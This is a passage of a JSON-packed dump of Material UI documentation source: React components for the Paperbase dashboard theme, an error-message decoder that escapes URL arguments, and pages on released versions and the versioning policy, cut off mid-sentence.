<NotificationsIcon />\n                </IconButton>\n              </Tooltip>\n            </Grid>\n            <Grid>\n              <IconButton color=\"inherit\" sx={{ p: 0.5 }}>\n                <Avatar src=\"/static/images/avatar/1.jpg\" alt=\"My Avatar\" />\n              </IconButton>\n            </Grid>\n          </Grid>\n        </Toolbar>\n      </AppBar>\n      <AppBar\n        component=\"div\"\n        color=\"primary\"\n        position=\"static\"\n        elevation={0}\n        sx={{ zIndex: 0 }}\n      >\n        <Toolbar>\n          <Grid container spacing={1} sx={{ alignItems: 'center' }}>\n            <Grid size=\"grow\">\n              <Typography\n                variant=\"h5\"\n                component=\"h1\"\n                sx={{\n                  color: 'inherit',\n                }}\n              >\n                Authentication\n              </Typography>\n            </Grid>\n            <Grid>\n              <Button\n                sx={{ borderColor: lightColor }}\n                variant=\"outlined\"\n                color=\"inherit\"\n                size=\"small\"\n              >\n                Web setup\n              </Button>\n            </Grid>\n            <Grid>\n              <Tooltip title=\"Help\">\n                <IconButton color=\"inherit\">\n                  <HelpIcon />\n                </IconButton>\n              </Tooltip>\n            </Grid>\n          </Grid>\n        </Toolbar>\n      </AppBar>\n      <AppBar component=\"div\" position=\"static\" elevation={0} sx={{ zIndex: 0 }}>\n        <Tabs value={0} textColor=\"inherit\">\n          <Tab label=\"Users\" />\n          <Tab label=\"Sign-in method\" />\n          <Tab label=\"Templates\" />\n          <Tab label=\"Usage\" />\n        </Tabs>\n      </AppBar>\n    </React.Fragment>\n  );\n}\n\nHeader.propTypes = {\n  onDrawerToggle: PropTypes.func.isRequired,\n};\n\nexport default Header;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/paperbase/Header.tsx",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport Avatar from '@mui/material/Avatar';\nimport Button from '@mui/material/Button';\nimport Grid from '@mui/material/Grid';\nimport HelpIcon from '@mui/icons-material/Help';\nimport IconButton from '@mui/material/IconButton';\nimport Link from '@mui/material/Link';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport NotificationsIcon from '@mui/icons-material/Notifications';\nimport Tab from '@mui/material/Tab';\nimport Tabs from '@mui/material/Tabs';\nimport Toolbar from '@mui/material/Toolbar';\nimport Tooltip from '@mui/material/Tooltip';\nimport Typography from '@mui/material/Typography';\n\nconst lightColor = 'rgba(255, 255, 255, 0.7)';\n\ninterface HeaderProps {\n  onDrawerToggle: () => void;\n}\n\nexport default function Header(props: HeaderProps) {\n  const { onDrawerToggle } = props;\n\n  return (\n    <React.Fragment>\n      <AppBar color=\"primary\" position=\"sticky\" elevation={0}>\n        <Toolbar>\n          <Grid container spacing={1} sx={{ alignItems: 'center' }}>\n            <Grid sx={{ display: { sm: 'none', xs: 'block' } }}>\n              <IconButton\n                color=\"inherit\"\n                aria-label=\"open drawer\"\n                onClick={onDrawerToggle}\n                edge=\"start\"\n              >\n                <MenuIcon />\n              </IconButton>\n            </Grid>\n            <Grid size=\"grow\" />\n            <Grid>\n              <Link\n                href=\"/\"\n                variant=\"body2\"\n                sx={{\n                  textDecoration: 'none',\n                  color: lightColor,\n                  '&:hover': {\n                    color: 'common.white',\n                  },\n                }}\n                rel=\"noopener noreferrer\"\n                target=\"_blank\"\n              >\n                Go to docs\n              </Link>\n            </Grid>\n            <Grid>\n              <Tooltip title=\"Alerts • No alerts\">\n                <IconButton color=\"inherit\">\n                  <NotificationsIcon />\n                </IconButton>\n              </Tooltip>\n            </Grid>\n            <Grid>\n              <IconButton color=\"inherit\" sx={{ p: 0.5 }}>\n                <Avatar src=\"/static/images/avatar/1.jpg\" alt=\"My Avatar\" />\n              </IconButton>\n            </Grid>\n          </Grid>\n        </Toolbar>\n      </AppBar>\n      <AppBar\n        component=\"div\"\n        color=\"primary\"\n        position=\"static\"\n        elevation={0}\n        sx={{ zIndex: 0 }}\n      >\n        <Toolbar>\n          <Grid container spacing={1} sx={{ alignItems: 'center' }}>\n            <Grid size=\"grow\">\n              <Typography\n                variant=\"h5\"\n                component=\"h1\"\n                sx={{\n                  color: 'inherit',\n                }}\n              >\n                Authentication\n              </Typography>\n            </Grid>\n            <Grid>\n              <Button\n                sx={{ borderColor: lightColor }}\n                variant=\"outlined\"\n                color=\"inherit\"\n                size=\"small\"\n              >\n                Web setup\n              </Button>\n            </Grid>\n            <Grid>\n              <Tooltip title=\"Help\">\n                <IconButton color=\"inherit\">\n                  <HelpIcon />\n                </IconButton>\n              </Tooltip>\n            </Grid>\n          </Grid>\n        </Toolbar>\n      </AppBar>\n      <AppBar component=\"div\" position=\"static\" elevation={0} sx={{ zIndex: 0 }}>\n        <Tabs value={0} textColor=\"inherit\">\n          <Tab label=\"Users\" />\n          <Tab label=\"Sign-in method\" />\n          <Tab label=\"Templates\" />\n          <Tab label=\"Usage\" />\n        </Tabs>\n      </AppBar>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/paperbase/Navigator.js",
    "content": "import Divider from '@mui/material/Divider';\nimport Drawer from '@mui/material/Drawer';\nimport List from '@mui/material/List';\nimport Box from '@mui/material/Box';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport HomeIcon from '@mui/icons-material/Home';\nimport PeopleIcon from '@mui/icons-material/People';\nimport DnsRoundedIcon from '@mui/icons-material/DnsRounded';\nimport PermMediaOutlinedIcon from '@mui/icons-material/PhotoSizeSelectActual';\nimport PublicIcon from '@mui/icons-material/Public';\nimport SettingsEthernetIcon from '@mui/icons-material/SettingsEthernet';\nimport SettingsInputComponentIcon from '@mui/icons-material/SettingsInputComponent';\nimport TimerIcon from '@mui/icons-material/Timer';\nimport SettingsIcon from '@mui/icons-material/Settings';\nimport PhonelinkSetupIcon from '@mui/icons-material/PhonelinkSetup';\n\nconst categories = [\n  {\n    id: 'Build',\n    children: [\n      {\n        id: 'Authentication',\n        icon: <PeopleIcon />,\n        active: true,\n      },\n      { id: 'Database', icon: <DnsRoundedIcon /> },\n      { id: 'Storage', icon: <PermMediaOutlinedIcon /> },\n      { id: 'Hosting', icon: <PublicIcon /> },\n      { id: 'Functions', icon: <SettingsEthernetIcon /> },\n      {\n        id: 'Machine learning',\n        icon: <SettingsInputComponentIcon />,\n      },\n    ],\n  },\n  {\n    id: 'Quality',\n    children: [\n      { id: 'Analytics', icon: <SettingsIcon /> },\n      { id: 'Performance', icon: <TimerIcon /> },\n      { id: 'Test Lab', icon: <PhonelinkSetupIcon /> },\n    ],\n  },\n];\n\nconst item = {\n  py: '2px',\n  px: 3,\n  color: 'rgba(255, 255, 255, 0.7)',\n  '&:hover, &:focus': {\n    bgcolor: 'rgba(255, 255, 255, 0.08)',\n  },\n};\n\nconst itemCategory = {\n  boxShadow: '0 -1px 0 rgb(255,255,255,0.1) inset',\n  py: 1.5,\n  px: 3,\n};\n\nexport default function Navigator(props) {\n  const { ...other } = props;\n\n  return (\n    <Drawer variant=\"permanent\" {...other}>\n      <List disablePadding>\n        <ListItem sx={{ ...item, ...itemCategory, fontSize: 22, color: '#fff' }}>\n          Paperbase\n        </ListItem>\n        <ListItem sx={{ ...item, ...itemCategory }}>\n          <ListItemIcon>\n            <HomeIcon />\n          </ListItemIcon>\n          <ListItemText>Project Overview</ListItemText>\n        </ListItem>\n        {categories.map(({ id, children }) => (\n          <Box key={id} sx={{ bgcolor: '#101F33' }}>\n            <ListItem sx={{ py: 2, px: 3 }}>\n              <ListItemText sx={{ color: '#fff' }}>{id}</ListItemText>\n            </ListItem>\n            {children.map(({ id: childId, icon, active }) => (\n              <ListItem disablePadding key={childId}>\n                <ListItemButton selected={active} sx={item}>\n                  <ListItemIcon>{icon}</ListItemIcon>\n                  <ListItemText>{childId}</ListItemText>\n                </ListItemButton>\n              </ListItem>\n            ))}\n            <Divider sx={{ mt: 2 }} />\n          </Box>\n        ))}\n      </List>\n    </Drawer>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/paperbase/Navigator.tsx",
    "content": "import Divider from '@mui/material/Divider';\nimport Drawer, { DrawerProps } from '@mui/material/Drawer';\nimport List from '@mui/material/List';\nimport Box from '@mui/material/Box';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport HomeIcon from '@mui/icons-material/Home';\nimport PeopleIcon from '@mui/icons-material/People';\nimport DnsRoundedIcon from '@mui/icons-material/DnsRounded';\nimport PermMediaOutlinedIcon from '@mui/icons-material/PhotoSizeSelectActual';\nimport PublicIcon from '@mui/icons-material/Public';\nimport SettingsEthernetIcon from '@mui/icons-material/SettingsEthernet';\nimport SettingsInputComponentIcon from '@mui/icons-material/SettingsInputComponent';\nimport TimerIcon from '@mui/icons-material/Timer';\nimport SettingsIcon from '@mui/icons-material/Settings';\nimport PhonelinkSetupIcon from '@mui/icons-material/PhonelinkSetup';\n\nconst categories = [\n  {\n    id: 'Build',\n    children: [\n      {\n        id: 'Authentication',\n        icon: <PeopleIcon />,\n        active: true,\n      },\n      { id: 'Database', icon: <DnsRoundedIcon /> },\n      { id: 'Storage', icon: <PermMediaOutlinedIcon /> },\n      { id: 'Hosting', icon: <PublicIcon /> },\n      { id: 'Functions', icon: <SettingsEthernetIcon /> },\n      {\n        id: 'Machine learning',\n        icon: <SettingsInputComponentIcon />,\n      },\n    ],\n  },\n  {\n    id: 'Quality',\n    children: [\n      { id: 'Analytics', icon: <SettingsIcon /> },\n      { id: 'Performance', icon: <TimerIcon /> },\n      { id: 'Test Lab', icon: <PhonelinkSetupIcon /> },\n    ],\n  },\n];\n\nconst item = {\n  py: '2px',\n  px: 3,\n  color: 'rgba(255, 255, 255, 0.7)',\n  '&:hover, &:focus': {\n    bgcolor: 'rgba(255, 255, 255, 0.08)',\n  },\n};\n\nconst itemCategory = {\n  boxShadow: '0 -1px 0 rgb(255,255,255,0.1) inset',\n  py: 1.5,\n  px: 3,\n};\n\nexport default function Navigator(props: DrawerProps) {\n  const { ...other } = props;\n\n  return (\n    <Drawer variant=\"permanent\" {...other}>\n      <List disablePadding>\n        <ListItem sx={{ ...item, ...itemCategory, fontSize: 22, color: '#fff' }}>\n          Paperbase\n        </ListItem>\n        <ListItem sx={{ ...item, ...itemCategory }}>\n          <ListItemIcon>\n            <HomeIcon />\n          </ListItemIcon>\n          <ListItemText>Project Overview</ListItemText>\n        </ListItem>\n        {categories.map(({ id, children }) => (\n          <Box key={id} sx={{ bgcolor: '#101F33' }}>\n            <ListItem sx={{ py: 2, px: 3 }}>\n              <ListItemText sx={{ color: '#fff' }}>{id}</ListItemText>\n            </ListItem>\n            {children.map(({ id: childId, icon, active }) => (\n              <ListItem disablePadding key={childId}>\n                <ListItemButton selected={active} sx={item}>\n                  <ListItemIcon>{icon}</ListItemIcon>\n                  <ListItemText>{childId}</ListItemText>\n                </ListItemButton>\n              </ListItem>\n            ))}\n            <Divider sx={{ mt: 2 }} />\n          </Box>\n        ))}\n      </List>\n    </Drawer>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/paperbase/Paperbase.js",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\nimport Navigator from './Navigator';\nimport Content from './Content';\nimport Header from './Header';\n\nfunction Copyright() {\n  return (\n    <Typography variant=\"body2\" align=\"center\" sx={{ color: 'text.secondary' }}>\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n\nlet theme = createTheme({\n  palette: {\n    primary: {\n      light: '#63ccff',\n      main: '#009be5',\n      dark: '#006db3',\n    },\n  },\n  typography: {\n    h5: {\n      fontWeight: 500,\n      fontSize: 26,\n      letterSpacing: 0.5,\n    },\n  },\n  shape: {\n    borderRadius: 8,\n  },\n  components: {\n    MuiTab: {\n      defaultProps: {\n        disableRipple: true,\n      },\n    },\n  },\n  mixins: {\n    toolbar: {\n      minHeight: 48,\n    },\n  },\n});\n\ntheme = {\n  ...theme,\n  components: {\n    MuiDrawer: {\n      styleOverrides: {\n        paper: {\n          backgroundColor: '#081627',\n        },\n      },\n    },\n    MuiButton: {\n      styleOverrides: {\n        root: {\n          textTransform: 'none',\n        },\n        contained: {\n          boxShadow: 'none',\n          '&:active': {\n            boxShadow: 'none',\n          },\n        },\n      },\n    },\n    MuiTabs: {\n      styleOverrides: {\n        root: {\n          marginLeft: theme.spacing(1),\n        },\n        indicator: {\n          height: 3,\n          borderTopLeftRadius: 3,\n          borderTopRightRadius: 3,\n          backgroundColor: theme.palette.common.white,\n        },\n      },\n    },\n    MuiTab: {\n      styleOverrides: {\n        root: {\n          textTransform: 'none',\n          margin: '0 16px',\n          minWidth: 0,\n          padding: 0,\n          [theme.breakpoints.up('md')]: {\n            padding: 0,\n            minWidth: 0,\n          },\n        },\n      },\n    },\n    MuiIconButton: {\n      styleOverrides: {\n        root: {\n          padding: theme.spacing(1),\n        },\n      },\n    },\n    MuiTooltip: {\n      styleOverrides: {\n        tooltip: {\n          borderRadius: 4,\n        },\n      },\n    },\n    MuiDivider: {\n      styleOverrides: {\n        root: {\n          backgroundColor: 'rgb(255,255,255,0.15)',\n        },\n      },\n    },\n    MuiListItemButton: {\n      styleOverrides: {\n        root: {\n          '&.Mui-selected': {\n            color: '#4fc3f7',\n          },\n        },\n      },\n    },\n    MuiListItemText: {\n      styleOverrides: {\n        primary: {\n          fontSize: 14,\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n      },\n    },\n    MuiListItemIcon: {\n      styleOverrides: {\n        root: {\n          color: 'inherit',\n          minWidth: 'auto',\n          marginRight: theme.spacing(2),\n          '& svg': {\n            fontSize: 20,\n          },\n        },\n      },\n    },\n    MuiAvatar: {\n      styleOverrides: {\n        root: {\n          width: 32,\n          height: 32,\n        },\n      },\n    },\n  },\n};\n\nconst drawerWidth = 256;\n\nexport default function Paperbase() {\n  const [mobileOpen, setMobileOpen] = React.useState(false);\n  const isSmUp = useMediaQuery(theme.breakpoints.up('sm'));\n\n  const handleDrawerToggle = () => {\n    setMobileOpen(!mobileOpen);\n  };\n\n  return (\n    <ThemeProvider theme={theme}>\n      <Box sx={{ display: 'flex', minHeight: '100vh' }}>\n        <CssBaseline />\n        <Box\n          component=\"nav\"\n          sx={{ width: { sm: drawerWidth }, flexShrink: { sm: 0 } }}\n        >\n          {isSmUp ? null : (\n            <Navigator\n              slotProps={{ paper: { style: { width: drawerWidth } } }}\n              variant=\"temporary\"\n              open={mobileOpen}\n              onClose={handleDrawerToggle}\n            />\n          )}\n          <Navigator\n            slotProps={{ paper: { style: { width: drawerWidth } } }}\n            sx={{ display: { sm: 'block', xs: 'none' } }}\n          />\n        </Box>\n        <Box sx={{ flex: 1, display: 'flex', flexDirection: 'column' }}>\n          <Header onDrawerToggle={handleDrawerToggle} />\n          <Box component=\"main\" sx={{ flex: 1, py: 6, px: 4, bgcolor: '#eaeff1' }}>\n            <Content />\n          </Box>\n          <Box component=\"footer\" sx={{ p: 2, bgcolor: '#eaeff1' }}>\n            <Copyright />\n          </Box>\n        </Box>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/paperbase/Paperbase.tsx",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\nimport Navigator from './Navigator';\nimport Content from './Content';\nimport Header from './Header';\n\nfunction Copyright() {\n  return (\n    <Typography variant=\"body2\" align=\"center\" sx={{ color: 'text.secondary' }}>\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n\nlet theme = createTheme({\n  palette: {\n    primary: {\n      light: '#63ccff',\n      main: '#009be5',\n      dark: '#006db3',\n    },\n  },\n  typography: {\n    h5: {\n      fontWeight: 500,\n      fontSize: 26,\n      letterSpacing: 0.5,\n    },\n  },\n  shape: {\n    borderRadius: 8,\n  },\n  components: {\n    MuiTab: {\n      defaultProps: {\n        disableRipple: true,\n      },\n    },\n  },\n  mixins: {\n    toolbar: {\n      minHeight: 48,\n    },\n  },\n});\n\ntheme = {\n  ...theme,\n  components: {\n    MuiDrawer: {\n      styleOverrides: {\n        paper: {\n          backgroundColor: '#081627',\n        },\n      },\n    },\n    MuiButton: {\n      styleOverrides: {\n        root: {\n          textTransform: 'none',\n        },\n        contained: {\n          boxShadow: 'none',\n          '&:active': {\n            boxShadow: 'none',\n          },\n        },\n      },\n    },\n    MuiTabs: {\n      styleOverrides: {\n        root: {\n          marginLeft: theme.spacing(1),\n        },\n        indicator: {\n          height: 3,\n          borderTopLeftRadius: 3,\n          borderTopRightRadius: 3,\n          backgroundColor: theme.palette.common.white,\n        },\n      },\n    },\n    MuiTab: {\n      styleOverrides: {\n        root: {\n          textTransform: 'none',\n          margin: '0 16px',\n          minWidth: 0,\n          padding: 0,\n          [theme.breakpoints.up('md')]: {\n            padding: 0,\n            minWidth: 0,\n          },\n        },\n      },\n    },\n    MuiIconButton: {\n      styleOverrides: {\n        root: {\n          padding: theme.spacing(1),\n        },\n      },\n    },\n    MuiTooltip: {\n      styleOverrides: {\n        tooltip: {\n          borderRadius: 4,\n        },\n      },\n    },\n    MuiDivider: {\n      styleOverrides: {\n        root: {\n          backgroundColor: 'rgb(255,255,255,0.15)',\n        },\n      },\n    },\n    MuiListItemButton: {\n      styleOverrides: {\n        root: {\n          '&.Mui-selected': {\n            color: '#4fc3f7',\n          },\n        },\n      },\n    },\n    MuiListItemText: {\n      styleOverrides: {\n        primary: {\n          fontSize: 14,\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n      },\n    },\n    MuiListItemIcon: {\n      styleOverrides: {\n        root: {\n          color: 'inherit',\n          minWidth: 'auto',\n          marginRight: theme.spacing(2),\n          '& svg': {\n            fontSize: 20,\n          },\n        },\n      },\n    },\n    MuiAvatar: {\n      styleOverrides: {\n        root: {\n          width: 32,\n          height: 32,\n        },\n      },\n    },\n  },\n};\n\nconst drawerWidth = 256;\n\nexport default function Paperbase() {\n  const [mobileOpen, setMobileOpen] = React.useState(false);\n  const isSmUp = useMediaQuery(theme.breakpoints.up('sm'));\n\n  const handleDrawerToggle = () => {\n    setMobileOpen(!mobileOpen);\n  };\n\n  return (\n    <ThemeProvider theme={theme}>\n      <Box sx={{ display: 'flex', minHeight: '100vh' }}>\n        <CssBaseline />\n        <Box\n          component=\"nav\"\n          sx={{ width: { sm: drawerWidth }, flexShrink: { sm: 0 } }}\n        >\n          {isSmUp ? null : (\n            <Navigator\n              slotProps={{ paper: { style: { width: drawerWidth } } }}\n              variant=\"temporary\"\n              open={mobileOpen}\n              onClose={handleDrawerToggle}\n            />\n          )}\n          <Navigator\n            slotProps={{ paper: { style: { width: drawerWidth } } }}\n            sx={{ display: { sm: 'block', xs: 'none' } }}\n          />\n        </Box>\n        <Box sx={{ flex: 1, display: 'flex', flexDirection: 'column' }}>\n          <Header onDrawerToggle={handleDrawerToggle} />\n          <Box component=\"main\" sx={{ flex: 1, py: 6, px: 4, bgcolor: '#eaeff1' }}>\n            <Content />\n          </Box>\n          <Box component=\"footer\" sx={{ p: 2, bgcolor: '#eaeff1' }}>\n            <Copyright />\n          </Box>\n        </Box>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/production-error/ErrorDecoder.js",
    "content": "import * as React from 'react';\nimport { useRouter } from 'next/router';\nimport Link from '@mui/material/Link';\nimport Typography from '@mui/material/Typography';\nimport { styled } from '@mui/material/styles';\nimport { renderMarkdown } from '@mui/internal-markdown';\nimport { MarkdownElement } from '@mui/docs/MarkdownElement';\n\nconst ErrorMessageSection = styled('div')({\n  // reset display: block from Demo\n  display: 'block',\n});\n\nconst ErrorMessageMarkdown = styled(MarkdownElement)(({ theme }) => ({\n  boxShadow: theme.shadows['2'],\n  color: theme.palette.error.main,\n  padding: theme.spacing(1, 2),\n}));\n\nexport default function ErrorDecoder() {\n  const {\n    query: { code, ...query },\n  } = useRouter();\n  const queryArgs = query['args[]'];\n  const args = React.useMemo(\n    () => (Array.isArray(queryArgs) ? queryArgs : [queryArgs]),\n    [queryArgs],\n  );\n\n  const [data, dispatch] = React.useReducer(\n    (previousState, action) => {\n      switch (action.type) {\n        case 'rejected':\n          return { errorCodes: null, state: 'rejected' };\n        case 'resolved':\n          return {\n            errorCodes: action.payload,\n            state: 'resolved',\n          };\n        default:\n          throw new Error(`We made a mistake passing an unknown action.`);\n      }\n    },\n    { errorCodes: null, state: 'loading' },\n  );\n\n  React.useEffect(() => {\n    let cancelled = false;\n\n    fetch('/static/error-codes.json')\n      .then((response) => {\n        return response.json();\n      })\n      .then((json) => {\n        if (cancelled === false) {\n          dispatch({ type: 'resolved', payload: json });\n        }\n      })\n      .catch(() => {\n        dispatch({ type: 'rejected' });\n      });\n\n    return () => {\n      cancelled = true;\n    };\n  }, []);\n\n  const errorMessage = React.useMemo(() => {\n    const rawMessage = data.errorCodes?.[code];\n    if (rawMessage === undefined) {\n      return undefined;\n    }\n\n    let replacementIndex = -1;\n    const readableMessage = rawMessage.replace(/%s/g, () => {\n      replacementIndex += 1;\n      const dangerousArgument = args[replacementIndex];\n      if (dangerousArgument === undefined) {\n        return '[missing argument]';\n      }\n      // String will be injected into innerHTML.\n      // We need to escape first\n      // https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#Security_considerations\n      const div = document.createElement('div');\n      div.innerText = dangerousArgument;\n      return div.innerHTML;\n    });\n\n    return renderMarkdown(readableMessage);\n  }, [args, code, data.errorCodes]);\n\n  if (data.state === 'loading') {\n    return <Typography>Loading error codes</Typography>;\n  }\n\n  if (data.state === 'rejected') {\n    return (\n      <Typography color=\"error\">\n        Seems like we&apos;re having some issues loading the original message. Try\n        reloading the page. If the error persists please report this issue on our{' '}\n        <Link\n          href=\"https://github.com/mui/material-ui/issues/new?template=1.bug.md\"\n          target=\"_blank\"\n        >\n          issue tracker\n        </Link>\n        .\n      </Typography>\n    );\n  }\n\n  if (errorMessage === undefined) {\n    return (\n      <Typography>\n        When you encounter an error, you&apos;ll receive a link to this page for that\n        specific error and we&apos;ll show you the full error text.\n      </Typography>\n    );\n  }\n\n  return (\n    <ErrorMessageSection>\n      <p>The original text of the error you encountered:</p>\n      <ErrorMessageMarkdown renderedMarkdown={errorMessage} />\n    </ErrorMessageSection>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/production-error/index.md",
    "content": "# Production error\n\n<p class=\"description\">In the production build the error messages are minified to reduce the size of your application.</p>\n\nWe recommend using the development build when debugging this error.\nIt will include additional warnings about potential problems.\nIf you encounter an exception while using the production build, this page will reassemble the original text of the error.\n\n{{\"demo\": \"pages/production-error/ErrorDecoder.js\", \"hideToolbar\": true, \"bg\": \"inline\"}}\n"
  },
  {
    "path": "docs/src/pages/versions/LatestVersions.js",
    "content": "import Box from '@mui/material/Box';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableRow from '@mui/material/TableRow';\nimport Typography from '@mui/material/Typography';\nimport { Link } from '@mui/docs/Link';\n\nfunction LatestVersions() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Table>\n        <TableBody>\n          <TableRow>\n            <TableCell>\n              <Typography variant=\"body2\">master branch</Typography>\n            </TableCell>\n            <TableCell>\n              <Link\n                variant=\"body2\"\n                rel=\"nofollow\"\n                href=\"https://material-ui.netlify.app/\"\n              >\n                Documentation\n              </Link>\n            </TableCell>\n            <TableCell>\n              <Link\n                variant=\"body2\"\n                href=\"https://github.com/mui/material-ui/tree/master\"\n              >\n                Source code\n              </Link>\n            </TableCell>\n          </TableRow>\n          <TableRow>\n            <TableCell>\n              <Typography variant=\"body2\">next branch</Typography>\n            </TableCell>\n            <TableCell>\n              <Link\n                variant=\"body2\"\n                rel=\"nofollow\"\n                href=\"https://next--material-ui.netlify.app/\"\n              >\n                Documentation\n              </Link>\n            </TableCell>\n            <TableCell>\n              <Link\n                variant=\"body2\"\n                href=\"https://github.com/mui/material-ui/tree/next\"\n              >\n                Source code\n              </Link>\n            </TableCell>\n          </TableRow>\n        </TableBody>\n      </Table>\n    </Box>\n  );\n}\n\nexport default LatestVersions;\n"
  },
  {
    "path": "docs/src/pages/versions/ReleasedVersions.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableRow from '@mui/material/TableRow';\nimport Typography from '@mui/material/Typography';\nimport { Link } from '@mui/docs/Link';\nimport VersionsContext from 'docs/src/pages/versions/VersionsContext';\n\nconst GITHUB_RELEASE_BASE_URL = 'https://github.com/mui/material-ui/releases/tag/';\n\nfunction ReleasedVersions() {\n  const versions = React.useContext(VersionsContext);\n\n  return (\n    <Box sx={{ minHeight: 33 * 11, overflow: 'auto', width: '100%' }}>\n      <Table>\n        <TableBody>\n          {versions.map((doc) => (\n            <TableRow key={doc.version}>\n              <TableCell>\n                <Typography variant=\"body2\">\n                  {doc.version}\n                  {doc.version === `v${process.env.LIB_VERSION}` ? ' ✓' : ''}\n                </Typography>\n              </TableCell>\n              <TableCell>\n                <Link variant=\"body2\" rel=\"nofollow\" href={doc.url}>\n                  Documentation\n                </Link>\n              </TableCell>\n              <TableCell>\n                {doc.version.length >= 6 && !doc.version.includes('pre-release') ? (\n                  <Link\n                    variant=\"body2\"\n                    rel=\"nofollow\"\n                    href={`${GITHUB_RELEASE_BASE_URL}${doc.version}`}\n                  >\n                    Release notes\n                  </Link>\n                ) : null}\n              </TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </Box>\n  );\n}\n\nexport default ReleasedVersions;\n"
  },
  {
    "path": "docs/src/pages/versions/VersionsContext.js",
    "content": "import * as React from 'react';\n\n/**\n * @typedef {Array<{ version: string; url: string }>} VersionsContextValue\n */\n\n/**\n * @type {React.Context<VersionsContextValue}\n */\nconst VersionsContext = React.createContext(null);\n\nif (process.env.NODE_ENV !== 'production') {\n  VersionsContext.displayName = 'VersionsContext';\n}\n\nexport default VersionsContext;\n"
  },
  {
    "path": "docs/src/pages/versions/versions.md",
    "content": "# Material UI Versions\n\n<p class=\"description\">You can come back to this page and switch the version of the docs you're reading at any time.</p>\n\n## Released versions\n\nThe most recent stable version (✓) is recommended for use in production.\n\n{{\"demo\": \"pages/versions/ReleasedVersions.js\", \"hideToolbar\": true, \"bg\": \"inline\"}}\n\n## Latest versions\n\nHere you can find the latest unreleased documentation and code.\nYou can use it to see what changes are coming and provide better feedback to contributors.\n\n{{\"demo\": \"pages/versions/LatestVersions.js\", \"hideToolbar\": true, \"bg\": \"inline\"}}\n\n## Versioning strategy\n\nStability ensures that reusable components and libraries, tutorials, tools, and learned practices don't become obsolete unexpectedly.\nStability is essential for the ecosystem around Material UI to thrive.\n\nThis document contains the practices that are followed to provide you with a leading-edge UI library, balanced with stability, ensuring that future changes are always introduced predictably.\n\nMUI's open-source projects follow [Semantic Versioning 2.0.0](https://semver.org/).\nThis means that the version numbers have three parts: `major.minor.patch`.\nThe version number is incremented based on the level of change included in the release.\n\n- **Major releases** contain significant new features, some developer assistance is expected during the update.\n  These releases include [breaking changes](#what-doesnt-count-as-a-breaking-change).\n  When updating to a new major release, you may need to run update scripts, refactor code, run additional tests, and learn new APIs.\n- **Minor releases** contain important new features.\n  Minor releases are fully backward-compatible; no developer assistance is expected during the update, but you can optionally modify your apps and libraries to begin using new APIs, features, and capabilities that were added in the release.\n- **Patch releases** are low risk, contain bug fixes and small new features.\n  No developer assistance is expected during the update.\n\n## What doesn't count as a breaking change?\n\nWe call \"breaking changes\" those that require updating your codebase when upgrading to a new version, with the exception of:\n\n- **APIs starting with \"unstable\\_\"**. These are provided as experimental features whose APIs we are not yet confident in.\n  By releasing these with an `unstable_` prefix, we can iterate faster and get to a stable API sooner, or simply learn that we don't need the API/feature in the first place.\n- **APIs documented as experimental**. Same as the above.\n- **Undocumented APIs and internal data structures**. If you access internal properties, there is no warranty. You are on your own.\n- **Development warnings**. Since these don't affect production behavior, we may add new warnings or modify existing warnings in between major versions.\n  In fact, this is what allows us to reliably warn about upcoming breaking changes.\n- **Pre-releases versions**. We provide pre-release versions as a way to test new features early, but we need the flexibility to make changes based on what we learn in the pre-release period.\n  If you use these versions, note that APIs may change before the stable release.\n- **Small CSS changes**. Visual design changes that have a very low probability of negatively impacting your UI are not considered breaking.\n\n## Release frequency\n\nA regular schedule of releases helps you plan and coordinate your updates with the continuing evolution of MUI.\n\nIn general, you can expect the following release cycle:\n\n- A **major** release every 12 months.\n- 1-3 **minor** releases for each major release.\n- A **patch** release every week (anytime for an urgent bug fix).\n\n## Release schedule\n\n| Date           | Version | Status   |\n| :------------- | :------ | :------- |\n| March 2025     | v7.0.0  | Released |\n| August 2024    | v6.0.0  | Released |\n| September 2021 | v5.0.0  | Released |\n| May 2019       | v4.0.0  | Released |\n| September 2018 | v3.0.0  | Released |\n| May 2018       | v1.0.0  | Released |\n\nYou can follow the 